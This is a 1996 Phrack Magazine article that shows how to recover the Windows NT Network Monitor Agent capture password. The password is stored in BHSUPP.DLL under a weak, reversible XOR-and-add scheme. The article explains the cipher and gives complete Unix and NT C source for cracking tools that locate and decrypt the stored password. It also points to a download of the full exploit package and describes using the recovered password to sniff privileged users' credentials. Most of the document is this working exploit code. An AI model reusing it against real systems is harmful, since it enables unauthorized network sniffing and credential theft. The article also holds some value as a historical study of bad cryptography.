home *** CD-ROM | disk | FTP | other *** search
- ==Phrack Magazine==
-
- Volume Seven, Issue Forty-Eight, File 15 of 18
-
-
- Windows NT Network Monitor Exploitation
-
- NetMon Encryption Hammer
-
- by the AON and Route
- for Phrack Magazine
- May 1996 Guild productions, kid
-
- comments to daemon9@netcom.com
-
- Full exploit including binary dll's and execuatables:
- ftp.infonexus.com/pub/TooldOfTheTrade/Windows/NT/netMonExploit.tgz
-
-
- [The intro]
-
- The Microsoft Network Monitor is a packet sniffer that runs under NT.
- It is a very robust and versatile packet sniffer, offering much more then
- simple ethernet frame capturing. It packs a robust capture/display filter
- language, powerful protocol parsers, and one snappy GUI. NetMon is
- delivered as part of the SMS package. The user portion of the program
- calls upon the services of the Network Monitor Agent, which is a kernel driver
- that ships with NT (3.5.x for sure, but I don't know about 3.1). The Network
- Monitor Agent also provides an interface for a remote machine to connect and
- capture local data, provided it passes authentication. To restrict access,
- Network Monitor Agent utilizes a password authentication scheme. Access has
- two tiers: priviledge to view previously captured sessions, and priviledge to
- actually use the sniffer to place the ethernet card in promiscuous mode. The
- acutal encrypted password is stored as a 32-byte binary string in a
- dynamically linked library file called BHSUPP.DLL. We have written code to
- extract this password from the dll and decyrpt it; we have broken the
- Microsoft Network Monitor password authentication system.
-
-
- [The low-down]
-
- The encrypted string is kept as binary data in:
- %SystemRoot%\system32\BHSUPP.DLL (in a default installation at least).
- BHSUPP.DLL is known to be different sizes between versions, so we cannot look
- for the encrypted string at a specific offset each time. Instead we must
- search for a flag, and seek 32-bytes past this flag. The flag is the 16-byte
- string: "RTSS&G--BEGIN--". (As a matter of note, there is a terminating
- footer also: "RTSS&G--END--".)
-
-
- [The encrypted truth]
-
- It is a simple encryption function, that takes random length string
- and returns 256-bit encrypted output. It may appear to be a hash, rather
- than a block cipher, but it is not. It does take a random length input,
- and produce a fixed output, but the input is always padded to 32-bytes
- (with nulls if necessary). The input to the function is a user defined
- arbitrary string. The input is truncated to 16 bytes and then to pad
- out the array, the whole original password string is concatenated on the
- truncated version, starting at the 16th byte. It doesn't matter if the
- resulting string is longer than 32 bytes, as the cipher ignores anything
- past the 32nd byte. So: "loveKillsTheDemon" becomes: "loveKillsTheDemo"
- and then: "loveKillsTheDemoloveKillsTheDemon". If your password is
- smaller than 16 bytes, we get the 'hole-in-password' phenomena. Since
- the array is intialized will nulls, and the password is still folded over to
- the 16th byte, these nulls remain. This is easily visible from the first line
- of output in our exploit code. It also accepts empty password strings
- readily, without choking, which all Microsoft products seem willing to do all
- to easily.
-
- [The algorithm]
-
- The 32-byte string is put through 32 rounds of identical operations.
- The outer for loop controls the value of the byte to be XORed with the
- entire array that round (except for itself, see below). The inner loop steps
- through the entire byte array. Each byte is permuted a total of 31 times
- (The discrepency comes from the test case where i must not be equal to j in
- order for a character to be permuted. It would make no sense to XOR a byte
- with itself). So, there are a total of 992 operations. The actual
- encryption algorithm is quite simple:
-
- In C: if(i!=j)mix[j]^=mix[i]+(i^j)+j;
-
- In English: if i is NOT equal to j, the j indexed char of mix is
- assigned the value of the j indexed char of mix XORed
- with the i indexed char of mix PLUS i XORed with j
- PLUS j.
-
- Mathematically: 1) i ^ j = k
- 2) k + j = l
- 3) l + mix[i] = m
- 4) m ^ mix[j] = x
-
- OR
-
- ((i ^ j) + j + mix[i]) ^ mix[j] = x
-
-
- The methods used for obscurity are exclusive OR (XOR) and binary
- addition, (see the appendix if you are umfamiliar with these bitwise
- operations) with completely known vectors. The only unknown in the whole
- equation is the user entered password, fleshed out to 32-bytes. These 32
- bytes are taken through 32 rounds of permutations. Simple and concise,
- with no key material dropped, this algorithm is not lossy. Since it is not
- lossy it is 100% reversible, both in theory and practice. In fact, since we
- know the values of the counters i and j, throughout the entire encryption
- process, decryption is simply a matter of reproducing these values in the
- proper order. Since the output of the encryption process is the input,
- taken through 32 rounds of identical permutations, with known vectors,
- we simply need to reverse this process.
-
- [The code]
-
- There are two versions of the exploit available. A Windows NT version
- and, for those of you without access to an expensive NT-native compiler,
- there is a Unix version as well. The NT version is a console-based app, as
- GUI code would be a waste of time. The full package of this exploit, along
- with an NT exexcutable and sample DLL's is available from:
- ftp.infonexus.com/pub/ToolsOfTheTrade/Windows/NT/netMonExploit.tgz
-
-
- [The discussion]
-
- The ramifications of this weak encryption in Network Monitor Agent are
- many. First off, the developers of Network Monitor Agent *didn't* use the
- standard security mechanisms of Windows NT. This may be because the driver is
- a kernel mode driver, and in NT the kernel is a trusted enity, therefore
- the standard security API (of Win32) does not apply in the kernel making it
- harder to do user authentication. It also appears that they were trying to
- achieve a mechanism based not on priviledge, but on knowledge. It is very
- likely that in secured environment not all administrators should be able to
- sniff the network. The problem is they did a *poor* job of securing a
- powerful utility.
- The most straight forward attack is use Network Monitor to sniff the
- network (where you weren't suppose to be able to) for priviledged user data or
- passwords in a heterogeneous environment (since native NT networking does not
- send password information in the clear, but standard TCP traffic from Unix
- is sent clear). The rest of the attacks would come from shabby administration
- , such as the administrator used the password for the admin account and the
- capture password in Network Monitor Agent (stupid, but likely) or the
- same password for Network Monitor Agent on all machines across the network.
- In order to use the exploit utility, one must have read priviledge for
- BHSUPP.DLL which is installed into %SystemRoot%\system32 by default. This
- is not a remote attack, but rather a stepping stone to gain priviledged
- information when one is under-priviledged.
-
- [The moral]
-
- Time and time again we see either shody implementations of trusted
- algorithms, or, like in this case, just plain bad cryptography. Under ITAR,
- most secure cryptographic algorithms are classified as munitions, and are not
- exportable from this country. The funny thing is, under current law, one-way
- hashing functions are *not* restricted (that is why all Unix variants can ship
- with the standard crypt(3) libraries and executables). This authentication
- scheme could have *easily* been replaced by MD5, the same one-way hash used
- by PGP. At least then, the complexity of an attack would be increased to
- a brute-force known-plaintext sweep of key values...
-
-
-
- [The appendix]
-
- For the binary-declined...
-
- Exclusive OR
-
- The XOR operation is a bitwise operation with the following truth table:
-
- XOR| 1 | 0 | The Exclusive OR operation simply says:
- ------------- "...Hmmm, if I have a 1 and a 0, I'll spit
- 1 | 0 | 1 | out a 1. Anything else, a 0..."
- -------------
- 0 | 1 | 0 |
-
-
- Binary addition
-
- Binary addition is analogous to base10 addition. However, each place holds
- 2^n instead of 10^n...
-
- add| 1 | 0 | base10: base2:
- ------------- 11 1011
- 1 |1 0| 1 | + 5 + 0101
- ------------- --- ------
- 0 | 1 | 0 | 16 10000
-
-
-
-
- This exploit made possbile by a grant from the Guild corporation.
-
- - May 07, 1996 route/aon
-
-
- [The Sourcecode]
- [Unix Version]
-
- /*
-
- Network Monitor Exploitation code, Unix version
- coded by daemon9
- The Guild, 1996
-
- */
-
-
- #include<string.h>
- #include<stdio.h>
- #include<fcntl.h>
-
- #define fbufsize 8192
- #define flag "RTSS&G--BEGIN--"
- #define VERSION "Unix version\n"
- #define BUFSIZE 48
- #define DLLNAME "./BHSUPP.DLL"
-
- int main()
- {
- char *swirl(char *,int);
- char *recover(char *);
- void hexonx(char *);
-
- char werd[]={"\n\n\n\n.this code made possible by a grant from the Guild corporation.\n\0"};
- char *plain,*tmp,*fname,*encrypted;
- int c;
-
- printf(werd);
- printf("\nNetMon Password Decryption Engine ");
- printf(VERSION);
- printf("\t1.\t\tEncrypt a plaintext password from STDIN.\n");
- printf("\t2.\t\tDecrypt a plaintext password from the dll.\n");
- tmp=(char *)malloc(10); /* Can't switch getchar() as it locks the */
- bzero(tmp,10); /* fucking stream and makes futher I/O buggy*/
- switch(atoi(gets(tmp))){
- case 1:
- printf("Enter password to be encrypted (note echo is on, as it would be a moot point\nto turn it off)\n->");
- plain=(char *)malloc(BUFSIZE);
- bzero(plain,sizeof(BUFSIZE));
- gets(plain);
- hexonx(swirl(plain,0));
- break;
- case 2:
- printf("Enter name and path of DLL [./BHSUPP.DLL]:");
- fname=(char *)malloc(BUFSIZE);
- bzero(fname,sizeof(BUFSIZE));
- gets(fname);
- if(fname[0]==0)strcpy(fname,DLLNAME);
- if(!(encrypted=recover(fname))){
- printf("Could not locate flag\n");
- exit(1);
- }
- hexonx(swirl(encrypted,1));
- break;
- default:
- printf("\nFine.\n");
- exit(0);
- }
- return 0;
- }
-
- /*
- swirl is the encryption/decryption function. It takes an arbitrary length
- string and, depending on the value of the mode variable, encrypts it or
- decrypts it. It returns a pointer to the string.
- */
-
- char *swirl(byteStr,mode)
- char *byteStr;
- int mode;
- {
- int i=0,j=0;
- char *mix,roundAndround[32][32];
- void hexonx(char *);
-
- mix=(char *)malloc(sizeof(byteStr));
-
-
- if(!mode){
- memset(mix,0,32); /* set 32 bytes of memory to 0 */
- strncpy(mix,byteStr,16); /* copy the first 16 bytes of the password into the mix*/
- memcpy(&mix[16],byteStr,strlen(byteStr)); /* copy password into the 16th char of the mix; if mix and plain overlap, problems occur */
-
- printf("Password upon entering encryption rounds:\n");
- hexonx(mix);
- printf("\n\nbeginning 32 rounds of 'encryption'\n");
- for(i=0;i<32;i++)for(j=0;j<32;j++)if(i!=j){
- mix[j]^=mix[i]+(i^j)+j; /* Sekret Enkripsion occurs here... */
- memcpy(&roundAndround[i][0],mix,32); /* save a copy of each round */
- }
- printf("\nDo you wish to view the encryption process round by round?[y]");
- switch(toupper(getchar())){
- case 'N':
- break;
- case 'Y':
- default:
- for(i=0;i<32;i++){
- printf("round %d:\n",i+1); /* print the rounds out in hex */
- hexonx(&roundAndround[i][0]);
- getc(stdin);
- }
- }
- printf("\nEncrypted output:\n");
- return(mix);
- }
- if(mode){
- strncpy(mix,byteStr,32);
- for(i=31;i>=0;i--)for(j=31;j>=0;j--)if(i!=j)mix[j]^=mix[i]+(i^j)+j;
- mix[32]=0;
- printf("\n\n\nThe plaintext is: %s\nIn hex:\n",mix);
- return(mix);
- }
- }
-
- /*
- hexonx simply prints out 32 bytes of hexidecimal characters.
- */
-
- void hexonx(byteStr)
- char *byteStr;
- {
- int i=0;
- for(;i<32;i++)printf("0x%x ",byteStr[i]);
- printf("\n");
- }
-
-
- /*
- recover attempts to read the encrypted string from the dll
- */
-
- char *recover(fname)
- char *fname;
- {
-
- char buffer[fbufsize],*pass;
- int fd,i=0,j=0,demonFlag=0,offset,bufOffset=0;
-
- if((fd=open(fname,O_RDONLY))<=0){
- fprintf(stderr,"Cannot open %s\n",fname);
- exit(1);
- }
- while(read(fd,buffer,8192)){
- i=0;
- while(i<fbufsize&&!demonFlag){
- switch(buffer[i-4]){
- case 'R':
- if(buffer[i-3]=='T'&&buffer[i-2]=='S'&&buffer[i-1]=='S'&&buffer[i+1]=='G'&&buffer[i+2]=='-'&&buffer[i+3]=='-'&&buffer[i+4]=='B'&&buffer[i+5]=='E'&&buffer[i+6]=='G'&&buffer[i+7]=='I'&&buffer[i+8]=='N'&&buffer[i+9]=='-'&&buffer[i+10]=='-'){
- demonFlag++;
- bufOffset=i;
- /* Password is 32 bytes past end of header */ offset=j-4;
- printf("Encrypted Token Flag: '%s' located at offset 0x%x\n",flag,offset);
- printf("Encrypted password should be located at offset 0x%x\n",offset+48);
- }
- break;
- default:
- }
- i++;
- j++;
- }
- if(demonFlag)break;
- }
- if(!offset)return(0);
- pass=(char *)malloc(BUFSIZE);
- bzero(pass,32);
- memcpy(pass,&buffer[bufOffset-4+48],32);
-
- printf("\nDo you wish to view the encrypted password?[y]");
- switch(toupper(getchar())){
- case 'N':
- break;
- case 'Y':
- default:
- hexonx(pass);
- getc(stdin);
- }
- return(pass);
- }
-
-
- [The Sourcecode]
- [NT Version]
-
-
-
- // A Guild Production 1996 //
- // Constructed by AON //
-
- #define STRICT
- #define MAX_FILE_SIZE 24576 //if BHSUPP.DLL grows, so must this
-
- #include <windows.h>
- #include <stdio.h>
-
- void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword);
- BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword);
- void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile);
-
- HANDLE g_hStdIn, g_hStdOut; //global declaration of StandardIN and OUT
-
-
- // This is a console app. ReadFile and WriteFile used throughout so StdIN and StdOUT
- // can be redirected.
-
- void main(int argc, char* argv[])
- {
- HANDLE hTargetFile;
- BYTE lpEncryptedPassword[32];
- char lpszPlaintextPassword[17] = {0};
- char lpszOutputBuffer[80];
- char lpszTargetFile[MAX_PATH] = {0};
- char lpszUsage[] = "\nUsage: NMCrack [path to BHSUPP.DLL including filename]\n";
- LPTSTR lpszSystemDirectory = NULL;
- UINT nCount, nCount2;
-
- //set global handles
-
- g_hStdIn = GetStdHandle(STD_INPUT_HANDLE);
- g_hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
-
- //check for standard NT help switch
-
- if(argc > 1 && argv[1][0] == '/' && argv[1][1] == '?')
- {
- //display usage info
-
- WriteFile(g_hStdOut, lpszUsage, sizeof(lpszUsage), &nCount, NULL);
-
- //exit with success
-
- ExitProcess(0L);
- }
-
- //if path and file name not specified on commandline try system directory first, because
- //BHSUPP.DLL is probably there
- if(argc == 1)
- {
- //findout how long path is for mem alloc
- nCount = GetSystemDirectory(lpszSystemDirectory, 0);
-
- //do alloc of that size
- lpszSystemDirectory = malloc(nCount);
-
- if(lpszSystemDirectory == NULL)
- {
- WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n",
- 41, &nCount, NULL);
-
- ExitProcess(1L);
- }
-
- //get system dir
- GetSystemDirectory(lpszSystemDirectory, nCount);
-
- //append file name to system directory
- sprintf(lpszTargetFile, "%s\\bhsupp.dll", lpszSystemDirectory);
-
- //release memory
- free(lpszSystemDirectory);
- }
-
- else
- {
- //get the commandline input
- strcpy(lpszTargetFile, argv[1]);
- }
-
- //try to open BHSUPP.DLL in the system dir or where the user instructed
- hTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ |
- FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
- FILE_FLAG_SEQUENTIAL_SCAN, NULL);
-
- //if not on the commandline or in the system dir ask user for path
- if(hTargetFile == INVALID_HANDLE_VALUE && argc == 1)
- {
- GetTargetFileFromUser(&hTargetFile, lpszTargetFile);
- }
-
- //user gave bad path or they don't have read permission on the file
- else if(hTargetFile == INVALID_HANDLE_VALUE)
- {
- //make error string because file open failed
- nCount2 = sprintf(lpszOutputBuffer, "\nUnable to open %s\n", lpszTargetFile);
-
- //write out
- WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
-
- //exit with failure
- ExitProcess(1L);
- }
-
- //retrieve the encrypted password from BHSUPP.DLL
- if(!GetEncryptedPassword(hTargetFile, lpEncryptedPassword))
- {
- WriteFile(g_hStdOut, "Unable to retrieve encrypted password\n",
- 39, &nCount, NULL);
-
- ExitProcess(1L);
- }
-
- //cleanup handle
- CloseHandle(hTargetFile);
-
- //do the decryption here
- DecryptPassword(lpEncryptedPassword, lpszPlaintextPassword);
-
- //prepare for and print out results
- nCount2 = sprintf(lpszOutputBuffer,
- "\nThe Network Monitor Agent capture password is %s\n",
- lpszPlaintextPassword);
-
- WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
-
- //close StandardIN and StandardOUT handles
- CloseHandle(g_hStdIn);
-
- CloseHandle(g_hStdOut);
-
- //exit with success
- ExitProcess(0L);
- }
-
-
- //Ah yeah, here it is.
- void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword)
- {
- register int outer, inner;
-
- //go backwards through loops to undo XOR
- for ( outer = 31; outer >= 0; outer-- )
- {
- for ( inner = 31; inner >= 0; inner-- )
- {
- if ( outer != inner )
- {
- lpEncryptedPassword[inner] ^= lpEncryptedPassword[outer] +
- (outer ^ inner) + inner;
- }
- }
- }
-
- //since the original password was folded to fill 32 bytes only copy the first 16 bytes
- memcpy(lpszPlaintextPassword, lpEncryptedPassword, 16);
-
- //zero terminate this baby just incase it is actually a 16 byte password (yeah, right!)
- lpszPlaintextPassword[16] = 0L;
-
- return;
- }
-
-
- // get the path and file name for BHSUPP.DLL from the user in the case that it was
- // a custom install
- void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile)
- {
- char lpszPrompt[] = "\nFull path to BHSUPP.DLL including file name: ";
- UINT nCount;
-
- WriteFile(g_hStdOut, lpszPrompt, sizeof(lpszPrompt), &nCount, NULL);
-
- ReadFile(g_hStdIn, lpszTargetFile, MAX_PATH, &nCount, NULL);
-
- //I had to account for the CR + LF that ReadFile counts in the nCount return value,
- //so I can zero terminate this string.
- lpszTargetFile[nCount - 2] = 0L;
-
- *phTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ |
- FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
- FILE_FLAG_SEQUENTIAL_SCAN, NULL);
-
- //too lazy to make the error message report the actual path and file name tried
- if(*phTargetFile == INVALID_HANDLE_VALUE)
- {
- WriteFile(g_hStdOut, "Unable to open BHSUPP.DLL\n",
- 26, &nCount, NULL);
-
- ExitProcess(1L);
- }
- }
-
-
- // This function allocs one big buffer and reads the whole damn DLL into it.
- // There is a flag string that marks the start of the section that contains the
- // encrypted passwords (in the case that there is a display password too), so
- // we search for the first and last characters in the string. If we hit on a match
- // we check about 50% of the chars in the string for a match. This is a good
- // enough check based looking at the data. I guess I could optimize memory usage
- // here too, but 24K is not very much these days, so fuck it.
- BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword)
- {
- LPBYTE lpSearchBuffer;
- UINT nCount, i;
-
- //do the big buffer alloc
- lpSearchBuffer = malloc(MAX_FILE_SIZE);
-
- if(lpSearchBuffer == NULL)
- {
- WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n",
- 41, &nCount, NULL);
-
- ExitProcess(1L);
- }
-
- //read in the entire file. It is small enough that this takes trivial time to complete.
- ReadFile(hTargetFile, lpSearchBuffer, MAX_FILE_SIZE, &nCount, NULL);
-
- //do search for RTSS&G--BEGIN-- When it is found move 48 bytes past the R and copy
- //the encrypted password into the workspace
- for(i=0; i<nCount; i++)
- {
- if(lpSearchBuffer[i] == 'R' && lpSearchBuffer[i+14] == '-')
- {
- if(lpSearchBuffer[i+1] == 'T' && lpSearchBuffer[i+2] == 'S' &&
- lpSearchBuffer[i+3] == 'S' && lpSearchBuffer[i+4] == '&' &&
- lpSearchBuffer[i+8] == 'B')
- {
- //found password and coping it into the workspace
- memcpy(lpEncryptedPassword, &lpSearchBuffer[i+48], 32);
-
- //cleanup the mem alloc
- free(lpSearchBuffer);
-
- //return with success
- return TRUE;
- }
- }
- }
-
- //cleanup
- free(lpSearchBuffer);
-
- //it failed to find the marker string
- return FALSE;
- }
-
-